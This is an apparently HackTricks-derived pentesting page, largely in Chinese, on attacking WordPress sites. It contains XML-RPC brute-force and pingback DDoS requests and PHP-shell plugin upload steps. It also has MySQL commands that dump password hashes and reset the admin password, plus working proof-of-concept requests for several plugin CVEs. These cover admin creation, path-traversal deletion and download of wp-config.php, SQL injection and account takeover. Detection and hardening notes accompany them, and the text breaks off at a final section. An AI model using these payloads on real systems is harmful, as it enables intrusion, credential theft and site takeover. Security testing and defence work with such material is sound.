Wordpress
Reading time: 43 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Themes files can be found in /wp-content/themes/, 所以如果你修改主题的某些 php 来获取 RCE,你很可能会使用该路径。例如:使用 theme twentytwelve 可以 access 404.php 文件,路径为: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
在 wp-config.php 中你可以找到数据库的 root 密码。
-
默认登录路径可检查:/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
主要 WordPress 文件
index.phplicense.txt包含有用信息,例如已安装的 WordPress 版本。wp-activate.php在设置新的 WordPress 站点时用于电子邮件激活过程。- 登录相关文件夹(可能被重命名以隐藏):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.php是一个文件,表示 WordPress 的一个功能,该功能使数据可以通过以 HTTP 作为传输机制、以 XML 作为编码机制的方式进行传输。这种类型的通信已被 WordPress 的 REST API 所取代。wp-content文件夹是存储 plugins 和 themes 的主要目录。wp-content/uploads/是存储任何上传到平台的文件的目录。wp-includes/这是存放核心文件的目录,例如证书、字体、JavaScript 文件和 widgets。wp-sitemap.xml在 Wordpress 5.5 及更高版本中,Worpress 会生成一个包含所有公开帖子和可公开查询的 post types 及 taxonomies 的站点地图 XML 文件。
Post exploitation
wp-config.php文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、authentication keys and salts,以及数据库表前缀。该配置文件还可用于激活 DEBUG 模式,这在故障排除时很有用。
用户权限
- Administrator
- Editor: 发布并管理自己和他人的文章
- Author: 发布并管理自己的文章
- Contributor: 撰写并管理自己的文章,但无法发布它们
- Subscriber: 浏览文章并编辑他们的个人资料
被动枚举
获取 WordPress 版本
检查是否能找到文件 /license.txt 或 /readme.html
在页面的 源代码 中(示例来自 https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS 链接文件
.png)
- JavaScript 文件
.png)
获取插件
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
获取主题
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
一般性提取版本信息
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
主动枚举
插件和主题
你可能无法找到所有可能的插件和主题。为了发现全部,你需要 主动 Brute Force 插件和主题列表(幸运的是通常有包含这些列表的自动化工具)。
用户
- ID Brute: 通过对用户 ID 进行 Brute Forcing,你可以从 WordPress 站点获取有效用户:
curl -s -I -X GET http://blog.example.com/?author=1
如果响应是 200 或 30X,则表示该 id 为 有效。如果响应是 400,则表示该 id 为 无效。
- wp-json: 你也可以通过查询来获取有关用户的信息:
curl http://blog.example.com/wp-json/wp/v2/users
另一个可以揭示一些有关用户信息的 /wp-json/ 端点是:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
注意此端点仅会暴露发布过文章的用户。仅会提供启用了此功能的用户的信息。
另请注意 /wp-json/wp/v2/pages 可能会泄露 IP 地址。
- 登录用户名枚举:当通过
/wp-login.php登录时,提示信息会不同,以指示该用户名是否存在。
XML-RPC
如果 xml-rpc.php 启用,你可以执行 credentials brute-force 或用它对其他资源发起 DoS 攻击。(例如,你可以自动化此过程 using this)。
要查看它是否启用,尝试访问 /xmlrpc.php 并发送此请求:
检查
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs 是可以用来 brute-force credentials 的一些方法。如果你能找到其中任意一个,你可以发送像这样的内容:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
当凭证无效时,HTTP 200 响应中应出现消息 "用户名或密码不正确"。
%20(2)%20(2)%20(2)%20(2)%20(2)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(2)%20(4)%20(1).png)
.png)
使用正确的凭证可以上传文件。在响应中会显示路径 (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
此外还有一种更快的方法来对凭证进行暴力破解,使用 system.multicall 可以在同一个请求中尝试多个凭证:
.png)
绕过 2FA
此方法面向程序而非人工,且较为陈旧,因此不支持 2FA。所以,如果你有有效的 creds 但主入口受 2FA 保护,你可能能够滥用 xmlrpc.php 使用这些 creds 登录以绕过 2FA。请注意,你无法执行通过控制台可以做的所有操作,但正如 Ippsec 在 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s 中所解释的,你仍然可能获得 RCE。
DDoS 或端口扫描
如果你能在方法列表中找到 pingback.ping,你就可以让 Wordpress 向任意主机/端口 发送任意请求。
这可用于让 成千上万 的 Wordpress 站点 去 访问 同一个 目标(从而在该处造成 DDoS),或者你也可以用它让 Wordpress 去 扫描 某些内部 网络(你可以指定任何端口)。
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

如果你得到 faultCode 的值 大于 0 (17),那就意味着端口是开放的。
查看上一节中 system.multicall 的用法,了解如何滥用此方法来引发 DDoS。
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
该文件通常位于 Wordpress 站点根目录:/wp-cron.php
当访问该文件时会执行一个“耗费资源”的 MySQL 查询,因此可被攻击者利用导致 DoS。
另外,默认情况下,wp-cron.php 会在每次页面加载时被调用(任何客户端请求任何 Wordpress 页面时),在高流量站点可能导致问题(DoS)。
建议禁用 Wp-Cron,并在主机上创建真实的 cronjob 定期执行所需任务(以避免问题)。
/wp-json/oembed/1.0/proxy - SSRF
尝试访问 https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net,Wordpress 站点可能会向你发起请求。
This is the response when it doesn't work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
该工具检查是否存在 methodName: pingback.ping 和 路径 /wp-json/oembed/1.0/proxy,如果存在则尝试利用它们。
自动化工具
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
通过覆盖一个 bit 获得访问权限
与其说是一次真正的攻击,不如说是个好奇的实验。在 CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man 中,你可以翻转任意 wordpress 文件的 1 个 bit。因此你可以翻转文件 /var/www/html/wp-includes/user.php 的偏移 5389 处的位,把 NOT (!) 操作变成 NOP。
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
面板 RCE
修改所用主题中的 php(需要 admin credentials)
Appearance → Theme Editor → 404 Template(在右侧)
将内容改为 php shell:
.png)
在网上搜索如何访问该已更新的页面。本例中你需要访问: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
你可以使用:
use exploit/unix/webapp/wp_admin_shell_upload
以获取会话。
Plugin RCE
PHP plugin
可能可以上传 .php 文件作为插件。
使用例如下面的方法创建你的 php backdoor:
.png)
然后添加一个新的插件:
.png)
上传插件并按 Install Now:
.png)
点击 Procced:
.png)
表面上可能看起来没有任何反应,但如果你进入 Media,你会看到你的 shell 已上传:
.png)
访问它,你会看到用于执行 reverse shell 的 URL:
.png)
Uploading and activating malicious plugin
此方法涉及安装已知存在漏洞的恶意插件并利用它来获取 web shell。该过程通过 WordPress dashboard 按如下方式进行:
- Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
- Plugin Installation:
- 在 WordPress dashboard 中,转到
Dashboard > Plugins > Upload Plugin。 - 上传已下载插件的 zip 文件。
- Plugin Activation: 插件成功安装后,必须通过 dashboard 进行激活。
- Exploitation:
- 当安装并激活了插件 "reflex-gallery" 后,可以利用该已知存在漏洞的插件进行攻击。
- Metasploit framework 提供了针对该漏洞的 exploit。通过加载相应模块并执行特定命令,可以建立一个 meterpreter 会话,从而获得对站点的未授权访问。
- 需要注意的是,这只是利用 WordPress 站点的众多方法之一。
内容包含描绘在 WordPress dashboard 中安装和激活插件步骤的可视化辅助图像。但重要的是要注意,在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。此信息应负责任地使用,并仅在合法情境中,例如获得明确许可的 penetration testing 时使用。
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike 是一个旨在将 Cross-Site Scripting (XSS) 漏洞升级为 Remote Code Execution (RCE) 或 WordPress 中其他严重漏洞的脚本。更多信息请查看 this post。它提供对 Wordpress Versions 6.X.X, 5.X.X 和 4.X.X 的支持,并允许:
- Privilege Escalation: 在 WordPress 中创建用户。
- (RCE) Custom Plugin (backdoor) Upload: 将你的自定义插件(backdoor)上传到 WordPress。
- (RCE) Built-In Plugin Edit: 编辑 WordPress 内置插件。
- (RCE) Built-In Theme Edit: 编辑 WordPress 内置主题。
- (Custom) Custom Exploits: 为第三方 WordPress 插件/主题提供自定义 exploit。
Post Exploitation
提取用户名和密码:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
更改 admin 密码:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress 插件 Pentest
攻击面
了解 Wordpress 插件如何暴露功能对于发现其功能中的漏洞至关重要。你可以在下面的要点中看到插件可能如何暴露功能,以及在 this blog post 中一些易受攻击插件的示例。
wp_ajax
插件将功能暴露给用户的方式之一是通过 AJAX handlers。这些处理程序可能包含逻辑错误、authorization 或 authentication 漏洞。此外,这些函数很常见地会基于 wordpress nonce 的存在来同时判断 authentication 和 authorization,而该 nonce any user authenticated in the Wordpress instance might have(与其角色无关)。
这些是可以用来在插件中暴露函数的函数:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
使用 nopriv 会使该 endpoint 对任何用户可访问(甚至未认证的用户)。
caution
此外,如果函数只是使用 wp_verify_nonce 来检查用户的授权,wp_verify_nonce 通常只是检查用户是否已登录,并不会检查用户的角色。因此,低权限用户可能能够访问高权限操作。
- REST API
也可以通过在 wordpress 中使用 register_rest_route 函数注册 REST API 路由来暴露函数:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
permission_callback 是一个回调函数,用于检查给定用户是否被授权调用该 API 方法。
如果使用内置的 __return_true 函数,它会直接跳过用户权限检查。
- 直接访问 php 文件
当然,Wordpress 使用 PHP,插件内的文件可以直接通过 Web 访问。因此,如果某个插件暴露了只需访问文件即可触发的易受攻击功能,该功能将被任何用户利用。
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
一些插件为内部集成或 reverse proxies 实现了“trusted header”快捷方式,并使用该 header 为 REST 请求设置当前用户上下文。如果该 header 没有被上游组件以加密方式绑定到请求,攻击者可以伪造它,从而以管理员身份访问有特权的 REST 路由。
- Impact: 未经认证即可通过 core users REST route 创建新的管理员,从而实现权限提升为管理员。
- Example header:
X-Wcpay-Platform-Checkout-User: 1(强制使用用户 ID 1,通常是第一个管理员账户)。 - Exploited route:
POST /wp-json/wp/v2/userswith an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- 插件将客户端可控的 header 映射到认证状态并跳过能力检查。
- WordPress core 期望该路由具有
create_users能力;该插件利用 header 直接设置当前用户上下文以绕过此检查。
Expected success indicators
- HTTP 201 with a JSON body describing the created user.
- A new admin user visible in
wp-admin/users.php.
Detection checklist
- Grep for
getallheaders(),$_SERVER['HTTP_...'], or vendor SDKs that read custom headers to set user context (e.g.,wp_set_current_user(),wp_set_auth_cookie()). - Review REST registrations for privileged callbacks that lack robust
permission_callbackchecks and instead rely on request headers. - Look for usages of core user-management functions (
wp_insert_user,wp_create_user) inside REST handlers that are gated only by header values.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress 主题和插件经常通过 wp_ajax_ 和 wp_ajax_nopriv_ 钩子公开 AJAX 处理程序。 当使用 nopriv 变体时 回调会变为未认证访客可访问,所以任何敏感操作还必须额外实现:
- 一个 capability check(例如
current_user_can()或至少is_user_logged_in()),以及 - 一个使用
check_ajax_referer()/wp_verify_nonce()验证的 CSRF nonce,以及 - 严格的输入过滤 / 验证。
Litho 多用途主题 (< 3.1) 在 Remove Font Family 功能中遗漏了这三项控制,最终随包发布了以下代码(已简化):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
这个代码片段引入的问题:
- 未认证访问 – 已注册
wp_ajax_nopriv_hook。 - 没有 nonce / capability 检查 – 任何访客都可以访问该 endpoint。
- 未对路径进行清理 – 用户控制的
fontfamily字符串被拼接到文件系统路径且未经过过滤,允许经典的../../遍历。
利用
攻击者可以通过发送一个单一的 HTTP POST 请求删除位于 uploads 基目录以下(通常为 <wp-root>/wp-content/uploads/)的任意文件或目录:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
其他有重大影响的目标包括插件/主题的 .php 文件(用于破坏安全插件)或 .htaccess 规则。
Detection checklist
- 任何调用文件系统辅助函数(
copy(),unlink(),$wp_filesystem->delete(), 等)的add_action( 'wp_ajax_nopriv_...')回调。 - 将未经过滤的用户输入拼接到路径中的情况(查找
$_POST,$_GET,$_REQUEST)。 - 缺少
check_ajax_referer()和current_user_can()/is_user_logged_in()。
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
许多插件通过将原始角色保存在 user meta 中以便稍后恢复,来实现“以角色查看”或临时角色切换功能。如果恢复路径仅依赖请求参数(例如 $_REQUEST['reset-for'])和插件维护的列表,而没有检查权限能力和有效的 nonce,那么这会成为一次垂直权限提升。
在实际案例中,在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中发现了一个例子。reset 分支在用户名出现在内部数组 $options['viewing_admin_as_role_are'] 时,会基于 reset-for=<username> 恢复角色,但在移除当前角色并从 user meta _asenha_view_admin_as_original_roles 重新添加保存的角色之前,既没有执行 current_user_can() 检查,也没有验证 nonce:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
为什么可被利用
- 信任
$_REQUEST['reset-for']和一个插件选项,但没有进行服务器端授权。 - 如果某用户之前的更高权限保存在
_asenha_view_admin_as_original_roles中并被降级,他们可以通过访问重置路径来恢复这些权限。 - 在某些部署中,任何已认证用户都可以为仍保存在
viewing_admin_as_role_are的另一个用户名触发重置(授权错误)。
利用(示例)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
在易受攻击的构建中,这会移除当前角色并重新添加已保存的原始角色(例如 administrator),从而实际上提升权限。
Detection checklist
- 寻找将“原始角色”持久化到 user meta 的角色切换功能(例如
_asenha_view_admin_as_original_roles)。 - 识别执行重置/恢复的路径,这些路径:
- 从
$_REQUEST/$_GET/$_POST读取用户名。 - 通过
add_role()/remove_role()修改角色,但未使用current_user_can()和wp_verify_nonce()/check_admin_referer()。 - 基于插件选项数组(例如
viewing_admin_as_role_are)进行授权,而不是基于操作者的权限能力。
- 从
在公共 init 钩子上通过受 cookie 信任的用户切换实现的未认证权限提升(Service Finder “sf-booking”)
有些插件会将用户切换的辅助函数挂到公共的 init 钩子,并从客户端可控的 cookie 推断身份。如果代码在未验证身份、权限及有效 nonce 的情况下调用 wp_set_auth_cookie(),任何未认证的访问者都可以强制以任意用户 ID 登录。
典型的易受攻击模式(简化自 Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
为何可被利用
- 公开的
inithook 使得处理程序对未认证的用户可访问(没有is_user_logged_in()保护)。 - 身份来自客户端可修改的 cookie(
original_user_id)。 - 直接调用
wp_set_auth_cookie($uid)会将请求者以该用户的身份登录,且没有任何 capability/nonce 检查。
利用(未认证)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF 对 WordPress/plugin CVEs 的考量
通用的边缘/服务器 WAF 通常针对广泛模式进行调整(SQLi、XSS、LFI)。许多高影响的 WordPress/plugin 漏洞是特定于应用的逻辑/认证缺陷,除非引擎理解 WordPress 路由和插件语义,否则这些请求看起来像正常流量。
攻击端注意事项
- 针对插件特定端点使用干净的 payloads:
admin-ajax.php?action=...、wp-json/<namespace>/<route>、自定义文件处理器、shortcodes。 - 先尝试未授权路径(AJAX
nopriv,REST 的宽松permission_callback,公开 shortcodes)。默认 payloads 往往在不混淆的情况下就能成功。 - 典型的高影响场景:权限提升(访问控制失效)、任意文件上传/下载、LFI、open redirect。
防御注意事项
- 不要依赖通用的 WAF 签名来防护 plugin CVEs。应实现应用层、针对漏洞的虚拟补丁或尽快更新。
- 在代码中优先采用正向安全检查(capabilities、nonces、严格的输入验证),而非基于否定的 regex 过滤。
WordPress 防护
定期更新
确保 WordPress、插件和主题均为最新。还要确认在 wp-config.php 中启用了自动更新:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
另外,仅安装可信的 WordPress 插件和主题。
安全插件
其他建议
- 移除默认的 admin 用户
- 使用 强密码 和 2FA
- 定期 审查 用户 权限
- 限制登录尝试次数 以防止 Brute Force 攻击
- 重命名
wp-admin.php文件,并且仅允许内部或某些 IP 地址访问。
由于验证不足导致的未认证 SQL Injection (WP Job Portal <= 2.3.2)
WP Job Portal 招聘插件暴露了一个 savecategory 任务,该任务最终在 modules/category/model.php::validateFormData() 中执行以下易受攻击的代码:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Issues introduced by this snippet:
- 未对用户输入进行消毒 –
parentid直接来自 HTTP 请求。 - 在 WHERE 子句中使用字符串拼接 – 未使用
is_numeric()/esc_sql()/ 预处理语句。 - 无需认证即可访问 – 虽然该操作通过
admin-post.php执行,但唯一的检查是一个 CSRF nonce (wp_verify_nonce()),任何访问者都可以从包含 shortcode[wpjobportal_my_resumes]的公开页面获取该 nonce。
利用
- 获取一个新的 nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- 通过滥用
parentid注入任意 SQL:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
响应会泄露被注入查询的结果或修改数据库,从而证明存在 SQLi。
未经认证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2)
另一个任务, downloadcustomfile,允许访客通过路径遍历下载磁盘上的 任何文件。易受攻击的入口位于 modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name 由攻击者控制并在拼接时未经过过滤。再次,唯一的门槛是可以从简历页面获取的 CSRF nonce。
利用
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
服务器响应包含 wp-config.php 的内容,leaking DB credentials and auth keys。
Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
许多 themes/plugins 通过 admin-ajax.php 提供 "social login" helpers。如果未认证的 AJAX action (wp_ajax_nopriv_...) 在 provider data 缺失时信任客户端提供的标识符,并随后调用 wp_set_auth_cookie(),则会导致完全的身份验证绕过。
典型的有缺陷的模式(简化)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
为什么可被利用
- 可以通过 admin-ajax.php(wp_ajax_nopriv_… action)在 unauthenticated 状态下访问。
- 在状态改变之前没有 nonce/capability 检查。
- 缺少 OAuth/OpenID provider 验证;默认分支接受攻击者输入。
- get_user_by('email', $_POST['id']) 随后调用 wp_set_auth_cookie($uid) 会将请求者认证为任何现有的邮箱地址。
Exploitation (unauthenticated)
- 前提条件:攻击者可以访问 /wp-admin/admin-ajax.php 并知道或猜到一个有效的用户邮箱。
- 将 provider 设置为不受支持的值(或省略)以触发默认分支,并传递 id=<victim_email>。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
Detection checklist
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=
. - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
Hardening
- 不要从客户端输入推导身份。只接受来源于已验证 provider token/ID 的 emails/IDs。
- 即使是 login helpers,也要要求 CSRF nonces 和 capability checks;除非绝对必要,避免注册 wp_ajax_nopriv_。
- 在服务器端验证并核实 OAuth/OIDC 响应;拒绝缺失/无效的 providers(不要回退到 POST id)。
- 在修复前,考虑临时禁用 social login 或在边缘进行虚拟补丁(阻止易受攻击的 action)。
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
一些插件公开了 REST endpoints,会在未验证调用者权限的情况下铸造可重用的 “connection keys” 或 tokens。如果该路由仅基于可猜测的属性(例如 username)进行认证,且没有将密钥绑定到带有 capability checks 的用户/会话,任何未认证的攻击者都可以铸造密钥并调用特权操作(创建 admin 账户、插件操作 → RCE)。
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – 铸造一个 connection key 并使用它
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
为什么可被利用
- 敏感的 REST 路由仅通过低熵的身份证明(用户名)保护,或缺少 permission_callback
- 未进行 capability 强制检查;生成的密钥被当作通用绕过凭证
Detection checklist
- 在插件代码中 grep 寻找 register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- 任何基于请求提供的身份(用户名/电子邮件)发放令牌/密钥,但未关联到已认证用户或 capability 的路由
- 查找后续路由,它们接受生成的令牌/密钥却没有进行服务端的 capability 检查
加固
- 对于任何有权限的 REST 路由:要求 permission_callback,且在其内使用 current_user_can() 来检查所需的 capability
- 不要根据客户端提供的身份铸造长寿命密钥;如有必要,应在认证后签发短期、绑定用户的令牌,并在使用时重新检查 capability
- 验证调用者的用户上下文(仅调用 wp_set_current_user 不足以保证)并拒绝满足 !is_user_logged_in() || !current_user_can(
) 的请求
Nonce 门滥用 → 未认证的任意插件安装 (FunnelKit Automations ≤ 3.5.3)
Nonces 用于防止 CSRF,而不是用于授权。如果代码把 nonce 验证通过当作放行,然后跳过对特权操作的 capability 检查(例如安装/激活 插件),未认证的攻击者可以满足弱的 nonce 要求,通过安装带后门或有漏洞的插件达到 RCE。
- 易受影响的路径: plugin/install_and_activate
